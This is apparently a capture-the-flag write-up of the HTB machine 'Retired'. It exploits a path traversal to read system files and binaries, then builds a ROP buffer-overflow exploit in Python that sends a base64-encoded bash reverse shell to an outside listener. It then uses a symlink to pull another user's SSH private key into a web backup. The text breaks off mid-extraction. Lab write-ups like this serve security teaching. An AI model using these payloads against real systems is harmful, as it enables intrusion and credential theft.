Retired
22 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.154
- Release: 02 / 04 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.154 -p 22,80
Nmap scan report for 10.10.11.154
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA)
| 256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA)
|_ 256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26:cd:6b (ED25519)
80/tcp open http nginx
| http-title: Agency - Start Bootstrap Theme
|_Requested resource was /index.php?page=default.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.11 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.154
, we will see a page like this:
It only shows some information about something called EMUEMU and OSTRICH. No idea yet.
Let’s apply fuzzing to enumerate more routes. Notice I am using .php
and .html
extensions:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.154/FUZZ -e .php,.html
index.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 50ms]
default.html [Status: 200, Size: 11414, Words: 4081, Lines: 189, Duration: 39ms]
assets [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 39ms]
css [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 40ms]
beta.html [Status: 200, Size: 4144, Words: 1137, Lines: 73, Duration: 71ms]
js [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 42ms]
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 39ms]
Nice, we have beta.html
. Let’s see what’s there:
We are able to upload a license key file, and it should have 512 bits. There is no more information about this. If we try to upload something, the server response is just blank, it doesn’t matter what we upload, there is no feedback.
The form is posted to activate_license.php
:
Foothold
As the index.php
accepts a parameter called page
, it is shouting to enter some Local File Inclusion / Directory Path Traversal payload. Let’s try:
$ curl '10.10.11.154?page=/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
_chrony:x:105:112:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
vagrant:x:1000:1000::/vagrant:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
dev:x:1001:1001::/home/dev:/bin/bash
Nice, there is a Directory Path Traversal vulnerability (since the file is just read, not executed).
Directory Path Traversal exploitation
Let’s get the PHP source files:
$ curl '10.10.11.154?page=index.php'
<?php
function sanitize_input($param) {
$param1 = str_replace("../", "", $param);
$param2 = str_replace("./", "", $param1);
return $param2;
}
$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
$page = sanitize_input($page);
} else {
header('Location: /index.php?page=default.html');
}
readfile($page);
One thing to notice is that the browser will redirect to index.php?page=default.html
, so we won’t notice that the file is rendered in the response. Since curl
does not follow redirects by default, we can read the response body even it the response contains a redirection.
Now let’s see how the file upload is being handled:
$ curl '10.10.11.154?page=activate_license.php'
<?php
if (isset($_FILES['licensefile'])) {
$license = file_get_contents($_FILES['licensefile']['tmp_name']);
$license_size = $_FILES['licensefile']['size'];
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!$socket) { echo "error socket_create()\n"; }
if (!socket_connect($socket, '127.0.0.1', 1337)) {
echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";
}
socket_write($socket, pack("N", $license_size));
socket_write($socket, $license);
socket_shutdown($socket);
socket_close($socket);
}
Interesting, it is connecting to a local socket server on port 1337 and passing the size of the file and its contents.
Since we have a Directory Path Traversal vulnerability, we can enumerate processes reading from /proc/<PID>
. Every “PID” directory contains some files related to the process itself. We are interested in /proc/<PID>/cmdline
to know the command used to start the process. Let’s use brute force to enumerate processes and see if we find the one that is running on port 1337:
$ for i in {1..1000}; do echo -n "$i: "; curl "10.10.11.154?page=/proc/$i/cmdline" -so -; echo; done | grep -a ': .'
411: /usr/bin/activate_license1337
576: nginx: worker process
577: nginx: worker process
Notice that there are null bytes:
$ curl '10.10.11.154?page=/proc/411/cmdline' -so - | xxd
00000000: 2f75 7372 2f62 696e 2f61 6374 6976 6174 /usr/bin/activat
00000010: 655f 6c69 6365 6e73 6500 3133 3337 00 e_license.1337.
$ curl '10.10.11.154?page=/proc/426/cmdline' -so - | tr '\0' ' '
/usr/bin/activate_license 1337
Alright, it seems that there is a file called /usr/bin/activate_license
, let’s download it:
$ curl '10.10.11.154?page=/usr/bin/activate_license' > activate_license
$ file activate_license
activate_license: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=554631debe5b40be0f96cabea315eedd2439fb81, for GNU/Linux 3.2.0, with debug_info, not stripped
Binary analysis
It is an ELF 64-bit binary… Things get hot… The fact that the license key has a fixed size points out that maybe the binary is vulnerable to Buffer Overflow. These are the protections set on the binary:
$ checksec activate_license
[*] './activate_license'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Mmm, really hardened… We will need to get at least two addresses at runtime: one address from Glibc to bypass ASLR and one address from the binary to bypass PIE. Moreover, since NX is enabled, we must use Return Oriented Programming (ROP).
Let’s use Ghidra ti decompile the binary and analyze it. This is the main
function:
int main(int argc, char **argv) {
int iVar1;
__pid_t _Var2;
int *piVar3;
char *pcVar4;
char clientaddr_s[16];
sockaddr_in clientaddr;
socklen_t clientaddrlen;
sockaddr_in server;
uint16_t port;
int clientfd;
int serverfd;
if (argc != 2) {
error("specify port to bind to");
}
iVar1 = __isoc99_sscanf(argv[1], "%hu", &port);
if (iVar1 == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
printf("[+] starting server listening on port %d\n", (ulong) port);
server.sin_family = 2;
server.sin_addr = htonl(0x7f000001);
server.sin_port = htons(port);
serverfd = socket(2, 1, 6);
if (serverfd == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
iVar1 = bind(serverfd, (sockaddr *) &server, 0x10);
if (iVar1 == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
iVar1 = listen(serverfd, 100);
if (iVar1 == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
puts("[+] listening ...");
while (true) {
while (true) {
clientfd = accept(serverfd, (sockaddr *) &clientaddr, &clientaddrlen);
if (clientfd != -1) break;
fwrite("Error: accepting client\n", 1, 0x18, stderr);
}
inet_ntop(2, &clientaddr.sin_addr, clientaddr_s, 0x10);
printf("[+] accepted client connection from %s:%d\n", clientaddr_s, (ulong) clientaddr.sin_port);
_Var2 = fork();
if (_Var2 == 0) break;
__sysv_signal(0x11, (__sighandler_t) 0x1);
close(clientfd);
}
close(serverfd);
activate_license(clientfd);
/* WARNING: Subroutine does not return */
exit(0);
}
It just starts the socket server on port 1337. Everytime a new connection arrives, the process forks (which means that the parent process will continue listening for new connections and it will not crash). The child process executes the activate_license
function:
void activate_license(int sockfd) {
int iVar1;
ssize_t sVar2;
int *piVar3;
char *pcVar4;
sqlite3_stmt *stmt;
sqlite3 *db;
uint32_t msglen;
char buffer[512];
sVar2 = read(sockfd, &msglen, 4);
if (sVar2 == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
msglen = ntohl(msglen);
printf("[+] reading %d bytes\n", (ulong) msglen);
sVar2 = read(sockfd, buffer, (ulong) msglen);
if (sVar2 == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
iVar1 = sqlite3_open("license.sqlite", &db);
if (iVar1 != 0) {
pcVar4 = (char *) sqlite3_errmsg(db);
error(pcVar4);
}
sqlite3_busy_timeout(db, 2000);
iVar1 = sqlite3_exec(db, "CREATE TABLE IF NOT EXISTS license ( id INTEGER PRIMARY KEY AUTOINCREMENT, license_key TEXT)", 0, 0, 0);
if (iVar1 != 0) {
pcVar4 = (char *) sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_prepare_v2(db, "INSERT INTO license (license_key) VALUES (?)", 0xffffffff, &stmt, 0);
if (iVar1 != 0) {
pcVar4 = (char *) sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_bind_text(stmt, 1, buffer, 0x200, 0);
if (iVar1 != 0) {
pcVar4 = (char *) sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_step(stmt);
if (iVar1 != 0x65) {
pcVar4 = (char *) sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_reset(stmt);
if (iVar1 != 0) {
pcVar4 = (char *) sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_finalize(stmt);
if (iVar1 != 0) {
pcVar4 = (char *) sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_close(db);
if (iVar1 != 0) {
pcVar4 = (char *) sqlite3_errmsg(db);
error(pcVar4);
}
printf("[+] activated license: %s\n", buffer);
return;
}
We could check if the SQL statements are injectable, but they are not. Then the way is still binary exploitation. The Buffer Overflow vulnerability is here:
void activate_license(int sockfd) {
// ...
int iVar1;
ssize_t sVar2;
uint32_t msglen;
char buffer[512];
sVar2 = read(sockfd, &msglen, 4);
// ...
msglen = ntohl(msglen);
printf("[+] reading %d bytes\n", (ulong) msglen);
sVar2 = read(sockfd, buffer, (ulong) msglen);
// ...
}
The first read
instruction reads the file size, and the second copies the file contents into buffer
. Since we control the size of the file, we can overflow the reserved buffer for buffer
(which is 512 bytes) and thus modify the saved return address that is on the stack.
Exploit preparation
This binary cannot be exploited with a common ret2libc attack. The problem is that we do not have direct communication with the binary. Instead, we must send the payload as a file to the PHP web server and it will be passed to the binary. We won’t get any output, so we cannot make use of memory leaks.
However, we can obtain the needed information from /proc/<PID>/maps
:
$ curl '10.10.11.154?page=/proc/411/maps'
5631036d6000-5631036d7000 r--p 00000000 08:01 2408 /usr/bin/activate_license
5631036d7000-5631036d8000 r-xp 00001000 08:01 2408 /usr/bin/activate_license
5631036d8000-5631036d9000 r--p 00002000 08:01 2408 /usr/bin/activate_license
5631036d9000-5631036da000 r--p 00002000 08:01 2408 /usr/bin/activate_license
5631036da000-5631036db000 rw-p 00003000 08:01 2408 /usr/bin/activate_license
563104ac4000-563104ae5000 rw-p 00000000 00:00 0 [heap]
7f8f07aa9000-7f8f07aab000 rw-p 00000000 00:00 0
7f8f07aab000-7f8f07aac000 r--p 00000000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f8f07aac000-7f8f07aae000 r-xp 00001000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f8f07aae000-7f8f07aaf000 r--p 00003000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f8f07aaf000-7f8f07ab0000 r--p 00003000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f8f07ab0000-7f8f07ab1000 rw-p 00004000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f8f07ab1000-7f8f07ab8000 r--p 00000000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f8f07ab8000-7f8f07ac8000 r-xp 00007000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f8f07ac8000-7f8f07acd000 r--p 00017000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f8f07acd000-7f8f07ace000 r--p 0001b000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f8f07ace000-7f8f07acf000 rw-p 0001c000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f8f07acf000-7f8f07ad3000 rw-p 00000000 00:00 0
7f8f07ad3000-7f8f07ae2000 r--p 00000000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f8f07ae2000-7f8f07b7c000 r-xp 0000f000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f8f07b7c000-7f8f07c15000 r--p 000a9000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f8f07c15000-7f8f07c16000 r--p 00141000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f8f07c16000-7f8f07c17000 rw-p 00142000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f8f07c17000-7f8f07c3c000 r--p 00000000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f8f07c3c000-7f8f07d87000 r-xp 00025000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f8f07d87000-7f8f07dd1000 r--p 00170000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f8f07dd1000-7f8f07dd2000 ---p 001ba000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f8f07dd2000-7f8f07dd5000 r--p 001ba000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f8f07dd5000-7f8f07dd8000 rw-p 001bd000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f8f07dd8000-7f8f07ddc000 rw-p 00000000 00:00 0
7f8f07ddc000-7f8f07dec000 r--p 00000000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f8f07dec000-7f8f07ee4000 r-xp 00010000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f8f07ee4000-7f8f07f18000 r--p 00108000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f8f07f18000-7f8f07f1c000 r--p 0013b000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f8f07f1c000-7f8f07f1f000 rw-p 0013f000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f8f07f1f000-7f8f07f21000 rw-p 00000000 00:00 0
7f8f07f26000-7f8f07f27000 r--p 00000000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f8f07f27000-7f8f07f47000 r-xp 00001000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f8f07f47000-7f8f07f4f000 r--p 00021000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f8f07f50000-7f8f07f51000 r--p 00029000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f8f07f51000-7f8f07f52000 rw-p 0002a000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f8f07f52000-7f8f07f53000 rw-p 00000000 00:00 0
7ffc8b8b8000-7ffc8b8d9000 rw-p 00000000 00:00 0 [stack]
7ffc8b8de000-7ffc8b8e2000 r--p 00000000 00:00 0 [vvar]
7ffc8b8e2000-7ffc8b8e4000 r-xp 00000000 00:00 0 [vdso]
Here we have the base address of the binary (0x5631036d6000
), the base address of Glibc (0x7f8f07c17000
) and also the start of the stack (0x7ffc8b8b8000
). These three values will be useful for exploitation.
Moreover, let’s download Glibc from the machine to develop the exploit:
$ curl '10.10.11.154?page=/usr/lib/x86_64-linux-gnu/libc-2.31.so' -o libc.so.6
Exploit development
The aim of the exploit is to call system
inside Glibc (we have the real address) and use a reverse shell command as first argument. Since it is a custom command that is not inside Glibc or the binary, it must be stored on the stack (that’s why we need a stack address). Hence, we want the following:
$rdi
to have an address pointing the the command string- Call
system
in Glibc
This is a 64-bit binary, so the calling conventions tell that arguments are passed to functions using registers (in order: $rdi
, $rsi
, $rdx
, $rcx
…). This time we will call system
, which takes a single argument that is a pointer to a string (that will be the command we want to execute).
Since NX is enabled, we must use ROP to set the value of $rdi
using a pop rdi; ret
gadget. ROP will allow us to redirect code execution to specific addresses that execute the instructions we want and then return to the next address on the stack, where the next gadget will be (that’s the meaning of ROP chain).
We can find gadgets within the binary or Glibc, it doesn’t matter this time:
$ ROPgadget --binary activate_license | grep ': pop rdi ; ret$'
0x000000000000181b : pop rdi ; ret
The value 0x181b
is just an offset. Since PIE is enabled, the base address of the binary is randomized and all addresses are computed as offsets to the base address. Since we have the base address from /proc/<PID>/maps
, we know the real address of the gadget at runtime.
Next, we need to find the offset of system
inside Glibc:
$ readelf -s libc.so.6 | grep system
237: 000000000012d5e0 99 FUNC GLOBAL DEFAULT 14 svcerr_systemerr@@GLIBC_2.2.5
619: 0000000000048e50 45 FUNC GLOBAL DEFAULT 14 __libc_system@@GLIBC_PRIVATE
1430: 0000000000048e50 45 FUNC WEAK DEFAULT 14 system@@GLIBC_2.2.5
Again, 0x48e50
is an offset because the base address of Glibc is randomized due to ASLR. Moreover, we have the base address of Glibc at runtime from before.
Nice, now we must figure out the amount of characters we need to overwrite the saved return address that is on the stack. By experience on 64-bit exploitation, I know that if the reserved buffer for a variable is $x$, then the offset is usually $x + 8$ (if there is no canary). Hence, the offset is 520 this time. Other way to find it is using patterns and GDB.
I created a Python script that takes the addresses from /proc/<PID>/maps
, creates the payload and sends it to the server. It can be found here: first_exploit.py
.
The function that crafts the payload is this one:
def craft_payload(pid, cmd, stack_offset):
elf_address, glibc_address, stack_address = get_addresses(pid)
pop_rdi_ret = elf_address + 0x0181b
system = glibc_address + 0x48e50
padding = b' ' * 200
cmd = padding + cmd.encode() + b'\0'
offset = 520
junk = b'A' * offset
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(stack_address + stack_offset)
payload += p64(system)
payload += cmd
return {'licensefile': ('tmp_name', payload)}
Notice that the command to be executed is inserted after the ROP chain and it is padded with 200 spaces. This is important because we don’t know the exact address position of the command string on the stack, so we must use brute force. The padding allows us to have a wide tolerance on the pointer because we can jump at the start of the spaces, in the middle of right where the proper command starts (200 address tolerance), the command will still be executed. Furthermore, the command is ended with a null byte.
This is the main
function, which has two approaches and sends the payload to the PHP server as a file:
def main():
if len(sys.argv) != 3 and len(sys.argv) != 4:
print(f'[!] Usage: python3 {sys.argv[0]} <PID> <cmd> [stack offset]')
return
pid, cmd = sys.argv[1], sys.argv[2]
if len(sys.argv) == 4:
stack_offset = int(sys.argv[3], 16)
requests.post(f'http://{ip}/activate_license.php',
files=craft_payload(pid, cmd, stack_offset))
print('[+] Sent payload. Check listener')
return
print('[+] Starting brute force on stack offset')
for stack_offset in range(0x21000, 0, -128):
print(f'[*] Stack offset: {hex(stack_offset)}')
time.sleep(1)
requests.post(f'http://{ip}/activate_license.php',
files=craft_payload(pid, cmd, stack_offset))
The first approach is to brute force the address on the stack using an offset (starting from 0x21000
which is the top of the stack address space and decreasing):
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ python3 first_exploit.py 411 'echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash'
[+] Starting brute force on stack offset
[*] Stack offset: 0x21000
[*] Stack offset: 0x20f80
[*] Stack offset: 0x20f00
[*] Stack offset: 0x20e80
[*] Stack offset: 0x20e00
[*] Stack offset: 0x20d80
[*] Stack offset: 0x20d00
[*] Stack offset: 0x20c80
[*] Stack offset: 0x20c00
[*] Stack offset: 0x20b80
[*] Stack offset: 0x20b00
[*] Stack offset: 0x20a80
[*] Stack offset: 0x20a00
[*] Stack offset: 0x20980
[*] Stack offset: 0x20900
[*] Stack offset: 0x20880
[*] Stack offset: 0x20800
[*] Stack offset: 0x20780
[*] Stack offset: 0x20700
[*] Stack offset: 0x20680
[*] Stack offset: 0x20600
[*] Stack offset: 0x20580
[*] Stack offset: 0x20500
[*] Stack offset: 0x20480
^C
[!] Exiting...
Using a command such as a reverse shell, a ping
or a web request, we can figure out the stack offset. Although it is not strictly needed if using a reverse shell, we can execute the exploit again indicating the offset and gain Remote Code Execution (RCE) instantly:
$ python3 first_exploit.py 411 'echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash' 0x20500
[+] Sent payload. Check listener
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.154.
Ncat: Connection from 10.10.11.154:53848.
bash: cannot set terminal process group (411): Inappropriate ioctl for device
bash: no job control in this shell
www-data@retired:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@retired:~$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@retired:~$ export TERM=xterm
www-data@retired:~$ export SHELL=bash
www-data@retired:~$ stty rows 50 columns 158
There are more ways to exploit the binary. In this second_exploit.py
I used the writable addresses of the binary to store the reverse shell command using the “write-what-where” primitive in blocks of 8 bytes using pop rax; ret
, pop rdi; ret
gadgets and then use mov qword ptr [rax], rdi; ret
to move the command blocks to the writable addresses (detailed explanation here).
Moreover, it is possible to call mprotect
to modify the permissions of the stack and configure it as executable, so we can enter shellcode in the stack and run it to obtain a reverse shell. This technique is used by third_exploit.py
(detailed explanation here).
System enumeration
The first this we notice is that there are some ZIP files in /var/www
:
www-data@retired:~$ ls -la
total 1760
drwxrwsrwx 3 www-data www-data 4096 Apr 3 12:16 .
drwxr-xr-x 12 root root 4096 Mar 11 14:36 ..
-rw-r--r-- 1 dev www-data 505153 Apr 3 12:14 2022-04-03_12-14-03-html.zip
-rw-r--r-- 1 dev www-data 505153 Apr 3 12:15 2022-04-03_12-15-03-html.zip
-rw-r--r-- 1 dev www-data 505153 Apr 3 12:16 2022-04-03_12-16-03-html.zip
drwxrwsrwx 5 www-data www-data 4096 Mar 11 14:36 html
-rw-r--r-- 1 www-data www-data 262144 Apr 3 12:15 license.sqlite
They all contain a backup of the web server source files:
www-data@retired:~$ unzip -l 2022-04-03_12-16-03-html.zip
Archive: 2022-04-03_12-16-03-html.zip
Length Date Time Name
--------- ---------- ----- ----
0 2022-03-11 14:36 var/www/html/
0 2022-03-11 14:36 var/www/html/js/
1636 2021-10-13 02:59 var/www/html/js/scripts.js
585 2021-10-13 02:58 var/www/html/activate_license.php
0 2022-03-11 14:36 var/www/html/assets/
23462 2021-10-13 02:59 var/www/html/assets/favicon.ico
0 2022-03-11 14:36 var/www/html/assets/img/
333 2021-10-13 02:59 var/www/html/assets/img/close-icon.svg
14220 2021-10-13 02:59 var/www/html/assets/img/navbar-logo.svg
0 2022-03-11 14:36 var/www/html/assets/img/about/
10187 2021-10-13 02:59 var/www/html/assets/img/about/2.jpg
16175 2021-10-13 02:59 var/www/html/assets/img/about/4.jpg
18029 2021-10-13 02:59 var/www/html/assets/img/about/3.jpg
19668 2021-10-13 02:59 var/www/html/assets/img/about/1.jpg
0 2022-03-11 14:36 var/www/html/assets/img/logos/
3223 2021-10-13 02:59 var/www/html/assets/img/logos/facebook.svg
4137 2021-10-13 02:59 var/www/html/assets/img/logos/microsoft.svg
3282 2021-10-13 02:59 var/www/html/assets/img/logos/google.svg
2284 2021-10-13 02:59 var/www/html/assets/img/logos/ibm.svg
0 2022-03-11 14:36 var/www/html/assets/img/team/
61067 2021-10-13 02:59 var/www/html/assets/img/team/2.jpg
57725 2021-10-13 02:59 var/www/html/assets/img/team/3.jpg
40338 2021-10-13 02:59 var/www/html/assets/img/team/1.jpg
238317 2021-10-13 02:59 var/www/html/assets/img/header-bg.jpg
4144 2022-03-11 11:34 var/www/html/beta.html
11414 2021-10-13 02:58 var/www/html/default.html
348 2022-03-11 11:29 var/www/html/index.php
0 2022-03-11 14:36 var/www/html/css/
219875 2021-10-13 02:59 var/www/html/css/styles.css
--------- -------
750449 29 files
Moreover, the ZIP files belong to user dev
and group www-data
. Every minute, there is a new ZIP file generated, let’s search for backup
then and see if there is a Cron job:
www-data@retired:~$ cat /usr/bin/webbackup
#!/bin/bash
set -euf -o pipefail
cd /var/www/
SRC=/var/www/html
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"
/usr/bin/rm --force -- "$DST"
/usr/bin/zip --recurse-paths "$DST" "$SRC"
KEEP=10
/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \
| sort --zero-terminated --numeric-sort --reverse \
| while IFS= read -r -d '' backup; do
if [ "$KEEP" -le 0 ]; then
/usr/bin/rm --force -- "$backup"
fi
KEEP="$((KEEP-1))"
done
Although date
and sort
are called using relative paths, there is no PATH
hijacking vulnerability.
Lateral movement to user dev
Instead, we can create a symbolic link that points to /home/dev/.ssh/id_rsa
, so that it is compressed into a ZIP archive and then we can extract it:
www-data@retired:~/html$ ln -s /home/dev/.ssh/id_rsa dev_id_rsa
And after a minute, the new ZIP file will contain the SSH private key of dev
:
www-data@retired:~/html$ cd ..
www-data@retired:~$ unzip -l 2022-04-03_13-14-04-html.zip
Archive: 2022-04-03_13-14-04-html.zip
Length Date Time Name
--------- ---------- ----- ----
0 2022-04-03 13:13 var/www/html/
0 2022-03-11 14:36 var/www/html/js/
1636 2021-10-13 02:59 var/www/html/js/scripts.js
585 2021-10-13 02:58 var/www/html/activate_license.php
0 2022-03-11 14:36 var/www/html/assets/
23462 2021-10-13 02:59 var/www/html/assets/favicon.ico
0 2022-03-11 14:36 var/www/html/assets/img/
333 2021-10-13 02:59 var/www/html/assets/img/close-icon.svg
14220 2021-10-13 02:59 var/www/html/assets/img/navbar-logo.svg
0 2022-03-11 14:36 var/www/html/assets/img/about/
10187 2021-10-13 02:59 var/www/html/assets/img/about/2.jpg
16175 2021-10-13 02:59 var/www/html/assets/img/about/4.jpg
18029 2021-10-13 02:59 var/www/html/assets/img/about/3.jpg
19668 2021-10-13 02:59 var/www/html/assets/img/about/1.jpg
0 2022-03-11 14:36 var/www/html/assets/img/logos/
3223 2021-10-13 02:59 var/www/html/assets/img/logos/facebook.svg
4137 2021-10-13 02:59 var/www/html/assets/img/logos/microsoft.svg
3282 2021-10-13 02:59 var/www/html/assets/img/logos/google.svg
2284 2021-10-13 02:59 var/www/html/assets/img/logos/ibm.svg
0 2022-03-11 14:36 var/www/html/assets/img/team/
61067 2021-10-13 02:59 var/www/html/assets/img/team/2.jpg
57725 2021-10-13 02:59 var/www/html/assets/img/team/3.jpg
40338 2021-10-13 02:59 var/www/html/assets/img/team/1.jpg
238317 2021-10-13 02:59 var/www/html/assets/img/header-bg.jpg
4144 2022-03-11 11:34 var/www/html/beta.html
11414 2021-10-13 02:58 var/www/html/default.html
348 2022-03-11 11:29 var/www/html/index.php
2590 2022-03-11 11:12 var/www/html/dev_id_rsa
0 2022-03-11 14:36 var/www/html/css/
219875 2021-10-13 02:59 var/www/html/css/styles.css
--------- -------
753039 30 files
Let’s extract the files:
www-data@retired:~$ mv 2022-04-03_13-14-04-html.zip /tmp
www-data@retired:~$ cd /tmp
www-data@retired:/tmp$ unzip 2022-04-03_13-14-04-html.zip
Archive: 2022-04-03_13-14-04-html.zip
creating: var/www/html/
creating: var/www/html/js/
inflating: var/www/html/js/scripts.js
inflating: var/www/html/activate_license.php
creating: var/www/html/assets/
inflating: var/www/html/assets/favicon.ico
creating: var/www/html/assets/img/
inflating: var/www/html/assets/img/close-icon.svg
inflating: var/www/html/assets/img/navbar-logo.svg
creating: var/www/html/assets/img/about/
inflating: var/www/html/assets/img/about/2.jpg
inflating: var/www/html/assets/img/about/4.jpg
inflating: var/www/html/assets/img/about/3.jpg
inflating: var/www/html/assets/img/about/1.jpg
creating: var/www/html/assets/img/logos/
inflating: var/www/html/assets/img/logos/facebook.svg
inflating: var/www/html/assets/img/logos/microsoft.svg
inflating: var/www/html/assets/img/logos/google.svg
inflating: var/www/html/assets/img/logos/ibm.svg
creating: var/www/html/assets/img/team/
inflating: var/www/html/assets/img/team/2.jpg
inflating: var/www/html/assets/img/team/3.jpg
